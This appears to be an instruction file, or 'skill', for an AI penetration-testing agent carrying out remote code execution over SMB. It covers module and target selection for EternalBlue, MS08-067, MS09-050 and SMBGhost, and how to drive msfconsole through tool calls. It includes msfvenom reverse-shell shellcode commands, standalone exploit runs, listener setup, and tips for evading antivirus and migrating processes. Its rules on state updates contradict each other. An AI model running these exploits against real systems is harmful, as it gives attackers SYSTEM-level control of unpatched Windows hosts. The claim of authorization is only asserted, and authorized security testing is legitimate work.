SMB Remote Exploitation

You are helping a penetration tester exploit a confirmed SMB vulnerability for
remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [smb-exploitation] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with
  descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

Scope Boundary

This skill covers SMB protocol exploitation — enumeration, authentication
attacks, and share access. When you reach the boundary of this scope — whether
through a routing instruction ("Route to skill-name") or by discovering
findings outside your domain — STOP.

Do not load or execute another skill. Do not continue past your scope boundary.
Instead, return to the orchestrator with:

• What was found (vulns, credentials, access gained)
• Recommended next skill (the bold skill-name from routing instructions)
• Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill
thoroughly and return clean findings.

Stay in methodology. Only use techniques documented in this skill. If you
encounter a scenario not covered here, note it and return — do not improvise
attacks, write custom exploit code, or apply techniques from other domains.
The orchestrator will provide specific guidance or route to a different skill.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• SMB vulnerability confirmed via nmap smb-vuln* scripts or equivalent
• Target OS and architecture identified (critical for target selection)
• Network access to target port 445
• Metasploit Framework installed (msfconsole)
• Listener port available (default 4444, or specify alternative)
• Attack machine IP reachable from target (check with ip addr show tun0 for
  VPN, or appropriate interface)

Step 1: Assess

If not already provided by the orchestrator or conversation context, determine:

1. Which vulnerability? Check state.md or ask — MS08-067, MS17-010,
   MS09-050, or SMBGhost
2. Target OS and architecture? Windows version, service pack, 32-bit vs
   64-bit — critical for exploit target selection
3. Attack machine IP? Run ip -4 addr show tun0 (or appropriate interface)
   to get the listener address

Vulnerability-to-OS Compatibility Matrix

CVE	Vulnerability	Affected OS	Notes
CVE-2008-4250	MS08-067	XP SP0-SP3, Server 2003 SP0-SP2, Vista SP0-SP1, Server 2008 pre-SP2	Most reliable on XP/2003
CVE-2009-3103	MS09-050	Vista SP1-SP2, Server 2008 SP1-SP2	SMBv2 negotiation bug
CVE-2017-0143	MS17-010 (EternalBlue)	XP through Server 2016 (unpatched)	Unstable on XP/2003 32-bit
CVE-2020-0796	SMBGhost	Windows 10 1903/1909, Server v1903/v1909	SMBv3 compression

Skip this step if the orchestrator already provided this information.

Step 2: Select Exploit and Target

MS08-067 (CVE-2008-4250)

Metasploit module: exploit/windows/smb/ms08_067_netapi

Preferred for Windows XP and Server 2003. More stable than EternalBlue on these
older systems.

Target selection — critical for reliability:

Target ID	OS
0	Automatic Targeting
1	Windows 2000 Universal
2	Windows XP SP0/SP1 Universal
3	Windows XP SP2 English (NX)
4	Windows XP SP3 English (NX)
5	Windows 2003 SP0 Universal
6	Windows XP SP2/SP3 English (AlwaysOn NX)
7	Windows 2003 SP1 English (NO NX)
8	Windows 2003 SP1 English (NX)
9	Windows 2003 SP2 English (NO NX)
10	Windows 2003 SP2 English (NX)

Decision logic:

• If OS is "Windows XP" and SP2 or SP3: use target 6 (handles both, NX-aware)
• If OS is "Windows XP" and SP0/SP1: use target 2
• If OS is "Windows 2003" and SP1: use target 8 (NX) or target 7 (no NX)
• If OS is "Windows 2003" and SP2: use target 10 (NX) or target 9 (no NX)
• If OS is "Windows 2000": use target 1
• If unsure about NX: try NX-enabled target first — it works on both, the
  reverse doesn't
• If unsure about SP: use target 0 (automatic) — less reliable but attempts
  fingerprinting
• For non-English targets: use target 0 (automatic) and note that language-
  specific targets exist in Metasploit (check show targets for full list)

Payload selection:

• Default: windows/shell_reverse_tcp — simple, reliable, no staging issues
• Alternative: windows/meterpreter/reverse_tcp — more features but staged
  payload can fail on slow/filtered links
• If port 4444 is filtered: try 443 or 80 as LPORT

MS17-010 / EternalBlue (CVE-2017-0143)

Metasploit modules (choose based on target OS):

Module	Best For	Notes
exploit/windows/smb/ms17_010_eternalblue	Windows 7, Server 2008 R2, Server 2012, 10, Server 2016 (64-bit)	Primary module, most reliable on 64-bit
exploit/windows/smb/ms17_010_psexec	Windows XP, Server 2003, Vista, 7, 2008 (32 and 64-bit)	Uses named pipes, more stable on 32-bit and older OS
exploit/windows/smb/ms17_010_eternalblue_win8	Windows 8, 8.1, Server 2012	Specific Win8+ handling

Decision logic:

• Windows 7 / Server 2008 R2 / Server 2012 / 10 / Server 2016 (64-bit):
  use ms17_010_eternalblue — primary module, highest success rate
• Windows XP / Server 2003 (32-bit): use ms17_010_psexec — the
  eternalblue module frequently BSODs 32-bit XP. psexec variant uses named
  pipes and is far more stable. Requires a valid named pipe — common defaults:
  samr, browser, lsarpc, netlogon, srvsvc
• Windows Vista / Server 2008 (pre-R2): use ms17_010_psexec
• Windows 8 / 8.1 / Server 2012: try ms17_010_eternalblue first, fall
  back to ms17_010_eternalblue_win8

Named pipe selection for psexec variant:

set NAMEDPIPE samr

If samr fails, cycle through: browser, lsarpc, netlogon, srvsvc.
Null session access increases success — check state.md for null auth status.

Payload selection:

• 64-bit targets: windows/x64/shell_reverse_tcp or
  windows/x64/meterpreter/reverse_tcp
• 32-bit targets: windows/shell_reverse_tcp or
  windows/meterpreter/reverse_tcp

MS09-050 (CVE-2009-3103)

Metasploit module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index

Narrow target range — only Vista SP1/SP2 and Server 2008 SP1/SP2.

Target selection:

Target ID	OS
0	Windows Vista SP1/SP2 and Server 2008 SP1 (x86)

Only 32-bit targets. If target is 64-bit, this exploit won't work — try
MS17-010 instead.

SMBGhost (CVE-2020-0796)

Metasploit module: exploit/windows/smb/cve_2020_0796_smbghost

Very narrow target range — only Windows 10 v1903/v1909 and Server v1903/v1909
with SMBv3.1.1 compression enabled.

Confirmation (before attempting):

# Check for SMBv3.1.1 compression support
nmap -p445 --script smb2-capabilities TARGET_IP

Stability warning: This exploit targets kernel memory and has a moderate
BSOD risk. Always warn before launching.

Step 3: Generate and Execute

Interactive Metasploit via start_process (Preferred)

Spawn msfconsole in a persistent PTY via the shell-server MCP. This lets the
agent drive Metasploit interactively — configure the exploit, run it, and
interact with the resulting session through send_command calls.

# 1. Spawn msfconsole
start_process(command="msfconsole -q", label="msfconsole-eternalblue")

# 2. Configure and run (via send_command with expect patterns)
send_command(session_id=..., command="use <MODULE>", expect="msf6 exploit")
send_command(session_id=..., command="set RHOSTS <TARGET_IP>")
send_command(session_id=..., command="set LHOST <ATTACK_IP>")
send_command(session_id=..., command="set LPORT <PORT>")
send_command(session_id=..., command="set TARGET <TARGET_ID>")
send_command(session_id=..., command="set PAYLOAD <PAYLOAD>")
send_command(session_id=..., command="run", timeout=60, expect="session \\d+ opened")

For MS17-010 psexec variant, also set: set NAMEDPIPE samr
For SMBGhost, also set: set PROCESSOR_ARCHITECTURE x64

When Metasploit catches the shell, it lives inside the same PTY session. The
agent interacts with the Meterpreter/cmd session through the same
send_command calls — no port conflict, no DisablePayloadHandler needed.

Resource File Approach (Fallback)

If start_process is unavailable or msfconsole needs to be run outside the
MCP, generate a resource file:

Template (adapt per exploit selection from Step 2):

cat > temp_smb-exploit.rc << 'RCEOF'
use <MODULE>
set RHOSTS <TARGET_IP>
set LHOST <ATTACK_IP>
set LPORT <PORT>
set TARGET <TARGET_ID>
set PAYLOAD <PAYLOAD>
run
RCEOF

For MS17-010 psexec variant, add:

set NAMEDPIPE samr

For SMBGhost, add:

set PROCESSOR_ARCHITECTURE x64

Execution:
Present the resource file contents to the user and instruct:

msfconsole -q -r temp_smb-exploit.rc

Standalone Exploits (When Metasploit Is Unavailable)

If Metasploit is not available, standalone Python exploits exist:

MS17-010 (AutoBlue):

# Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACK_IP> LPORT=<PORT> \
  -f raw -o sc.bin EXITFUNC=thread

# Run exploit (requires the AutoBlue-MS17-010 repo)
python3 eternalblue_exploit.py <TARGET_IP> sc.bin

MS08-067:

# Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACK_IP> LPORT=<PORT> \
  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" \
  -f raw -o sc.bin

# Modify ms08_067_exploit.py to include shellcode, then:
python2 ms08_067_exploit.py <TARGET_IP> <OS_TARGET_ID>

For standalone exploits, start a listener first:

nc -lvnp <PORT>
# or
msfconsole -q -x "use multi/handler; set payload windows/shell_reverse_tcp; set LHOST <ATTACK_IP>; set LPORT <PORT>; run"

Note: Standalone exploit scripts may need modification for specific targets.
Metasploit modules are more reliable and actively maintained — prefer them when
available.

Step 4: Validate Shell

Reverse Shell via MCP

When SMB exploitation produces a shell, catch it via the MCP shell-server
rather than relying on Metasploit's interactive session handler. EternalBlue
and similar exploits produce SYSTEM shells that the agent needs to interact
with programmatically.

1. Call start_listener(port=4444) to prepare a catcher on the attackbox
2. Use the shell-server port as LPORT in the Metasploit resource file:

   set LHOST <ATTACKBOX_IP>
   set LPORT 4444
   set PAYLOAD windows/x64/shell_reverse_tcp

   Or for standalone exploits, point the shellcode callback at the listener.
3. Call stabilize_shell(session_id=...) to upgrade to interactive PTY
4. Verify the new privilege level with send_command(session_id=..., command="whoami")

If the target lacks outbound connectivity to the attackbox, use a bind payload
(windows/x64/shell_bind_tcp) and connect to it with
connect_target(host=TARGET, port=BIND_PORT).

After exploitation, confirm access level and collect basic proof:

whoami
hostname
ipconfig /all
systeminfo

Important — Windows path quoting: On Windows XP and older, paths with
spaces (like C:\Documents and Settings\) must use double quotes in cmd.exe:

type "C:\Documents and Settings\Administrator\Desktop\root.txt"
dir "C:\Documents and Settings\"

Without quotes, cmd.exe splits on spaces and fails.

Save evidence:

# From the compromised shell, redirect output or copy/paste to:
# engagement/evidence/smb-exploit-whoami.txt
# engagement/evidence/smb-exploit-sysinfo.txt

Update state.md with:

• Access: shell type (SYSTEM/user), session ID, method
• Vulns: mark exploited CVE as [done]

Step 5: Route to Next Skill

After obtaining a shell, route based on what's needed:

• Need credentials for lateral movement: → STOP. Return to orchestrator
  recommending credential-dumping. Pass: target IP, OS, shell type (SYSTEM
  or user-level), domain membership.
• SYSTEM on a domain-joined host: → STOP. Return to orchestrator
  recommending ad-discovery. Pass: target IP, domain name, SYSTEM access.
• Non-SYSTEM shell obtained (rare with these exploits, but possible): →
  STOP. Return to orchestrator recommending windows-discovery. Pass:
  target IP, current user, OS version.
• Objectives met (flags captured, proof collected): Update state.md, log
  to activity.md, return to orchestrator.
• Need to reach internal network: → STOP. Return to orchestrator
  recommending pivoting-tunneling. Pass: target IP, interfaces visible
  from shell.

When routing, always pass: target IP, OS version, access level, any credentials
found.

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
— stop.

What counts as progress:

• Trying a variant or alternative documented in this skill
• Adjusting syntax, flags, or parameters per the Troubleshooting section
• Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

• Writing custom exploit code not provided in this skill
• Inventing workarounds using techniques from other domains
• Retrying the same command with trivially different input
• Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

1. Try each variant or alternative once
2. Check the Troubleshooting section for known fixes
3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

• What was attempted (commands, variants, alternatives tried)
• What failed and why (error messages, empty responses, timeouts)
• Assessment: blocked (permanent — config, patched, missing prereq) or
  retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

Troubleshooting

Exploit fails — no session created

1. Wrong target index: Most common cause. Check OS version and service pack
   carefully. Try target 0 (automatic) if specific target fails.
2. Firewall blocking reverse connection: Try LPORT 443 or 80. Or use a
   bind payload: windows/shell_bind_tcp with set RHOST <TARGET_IP>.
3. Named pipe unavailable (psexec variant): Cycle through pipes — samr,
   browser, lsarpc, netlogon, srvsvc.
4. AV blocking payload: Use windows/shell_reverse_tcp instead of
   meterpreter — simpler payloads evade basic AV better.
5. Target already exploited/crashed: If a previous attempt corrupted
   memory, the service may need to restart. On lab machines, reset the box.

BSOD / Target crashes

• EternalBlue on XP/2003 32-bit: Switch to ms17_010_psexec or MS08-067.
  The primary eternalblue module is unreliable on 32-bit systems.
• SMBGhost: High BSOD risk by nature. Ensure target OS matches exactly
  (v1903/v1909 only). May need multiple attempts.
• Multiple exploit attempts: Each failed attempt corrupts kernel memory
  further. If two attempts fail, reset the target before trying again.

Exploit succeeds but shell dies immediately

1. Staged payload failure: Switch to stageless (shell_reverse_tcp instead
   of shell/reverse_tcp).
2. AV killing payload: Try windows/shell_reverse_tcp (no meterpreter).
3. Session timeout: Set set AutoRunScript 'post/windows/manage/migrate'
   to migrate immediately (meterpreter only).
4. Migrate to stable process: If shell is fragile, migrate to a long-lived
   process like explorer.exe or svchost.exe.

Metasploit not available

Use standalone Python exploits (see Step 3 alternatives). Ensure:

• Python version matches (ms08-067 exploits often require Python 2)
• Shellcode is generated fresh with correct LHOST/LPORT and bad characters
• Listener is started before running the exploit

"Target is not vulnerable" but nmap confirmed it

1. Patch applied between scan and exploit: Re-run nmap vuln check.
2. SMB version mismatch: The exploit module may not negotiate the right SMB
   version. Check set SMBDirect true/false.
3. Network issues: Ensure stable connectivity — packet loss causes exploit
   failure (these exploits are timing-sensitive).